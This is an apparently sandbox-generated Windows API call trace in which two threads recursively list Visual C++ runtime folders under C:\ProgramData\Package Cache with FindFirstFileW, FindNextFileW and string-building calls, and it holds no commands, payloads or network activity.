	[0076.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddfa18
	[0076.879] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x2ddfa18 | out: lpFindFileData=0x2ddfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d873f8
	[0079.934] wcscmp (_String1=".", _String2=".") returned 0
	[0079.934] FindNextFileW (in: hFindFile=0x2d873f8, lpFindFileData=0x2ddfa18 | out: lpFindFileData=0x2ddfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.935] wcscmp (_String1="..", _String2=".") returned 1
	[0079.935] wcscmp (_String1="..", _String2="..") returned 0
	[0079.935] FindNextFileW (in: hFindFile=0x2d873f8, lpFindFileData=0x2ddfa18 | out: lpFindFileData=0x2ddfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.936] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.936] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.936] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb1a0
	[0079.936] wcscpy (in: _Dest=0x2ddb1a0, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0079.936] wcscat (in: _Dest=0x2ddb1a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\"
	[0079.936] wcscat (in: _Dest=0x2ddb1a0, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.455] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.455] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\"
	[0092.455] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*"
	[0092.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.455] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.456] wcscmp (_String1=".", _String2=".") returned 0
	[0092.456] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.456] wcscmp (_String1="..", _String2=".") returned 1
	[0092.456] wcscmp (_String1="..", _String2="..") returned 0
	[0092.456] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.456] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1
	[0092.456] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1
	[0092.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33900
	[0092.456] wcscpy (in: _Dest=0x4e33900, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages"
	[0092.456] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\"
	[0092.456] wcscat (in: _Dest=0x4e33900, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0092.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d358
	[0092.456] wcscpy (in: _Dest=0x491d358, _Source="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64"
	[0092.456] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\"
	[0092.456] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*"
	[0092.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.456] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.456] wcscmp (_String1=".", _String2=".") returned 0
	[0092.456] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.456] wcscmp (_String1="..", _String2=".") returned 1
	[0092.456] wcscmp (_String1="..", _String2="..") returned 0
	[0092.456] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.456] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.456] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.456] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.456] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1
	[0092.457] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1
	[0092.457] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.457] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711da0) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d358) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e33900) returned 1
	[0092.457] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.457] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c960) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb1a0) returned 1
	[0092.457] FindNextFileW (in: hFindFile=0x2d873f8, lpFindFileData=0x2ddfa18 | out: lpFindFileData=0x2ddfa18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.457] FindClose (in: hFindFile=0x2d873f8 | out: hFindFile=0x2d873f8) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddfa18) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d60ea0) returned 1
	[0092.457] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7fce8) returned 1

Thread:
	id = 337
	os_tid = 0x146c

	[0076.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d60f50
	[0076.880] wcscpy (in: _Dest=0x2d60f50, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0076.880] wcscat (in: _Dest=0x2d60f50, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\"
	[0076.880] wcscat (in: _Dest=0x2d60f50, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*"
	[0076.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddfc80
	[0076.880] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x2ddfc80 | out: lpFindFileData=0x2ddfc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d873b8
	[0079.933] wcscmp (_String1=".", _String2=".") returned 0
	[0079.933] FindNextFileW (in: hFindFile=0x2d873b8, lpFindFileData=0x2ddfc80 | out: lpFindFileData=0x2ddfc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.933] wcscmp (_String1="..", _String2=".") returned 1
	[0079.933] wcscmp (_String1="..", _String2="..") returned 0
	[0079.933] FindNextFileW (in: hFindFile=0x2d873b8, lpFindFileData=0x2ddfc80 | out: lpFindFileData=0x2ddfc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0079.933] wcscmp (_String1="packages", _String2=".") returned 1
	[0079.933] wcscmp (_String1="packages", _String2="..") returned 1
	[0079.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb0e8
	[0079.934] wcscpy (in: _Dest=0x2ddb0e8, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0079.934] wcscat (in: _Dest=0x2ddb0e8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\"
	[0079.934] wcscat (in: _Dest=0x2ddb0e8, _Source="packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c960
	[0092.458] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.458] wcscat (in: _Dest=0x4f2c960, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\"
	[0092.458] wcscat (in: _Dest=0x4f2c960, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*"
	[0092.458] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.458] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.458] wcscmp (_String1=".", _String2=".") returned 0
	[0092.458] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.459] wcscmp (_String1="..", _String2=".") returned 1
	[0092.459] wcscmp (_String1="..", _String2="..") returned 0
	[0092.459] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.459] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1
	[0092.459] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1
	[0092.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33900
	[0092.459] wcscpy (in: _Dest=0x4e33900, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0092.459] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\"
	[0092.459] wcscat (in: _Dest=0x4e33900, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0092.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d358
	[0092.459] wcscpy (in: _Dest=0x491d358, _Source="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0092.459] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\"
	[0092.459] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*"
	[0092.459] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.459] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.459] wcscmp (_String1=".", _String2=".") returned 0
	[0092.459] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.459] wcscmp (_String1="..", _String2=".") returned 1
	[0092.459] wcscmp (_String1="..", _String2="..") returned 0
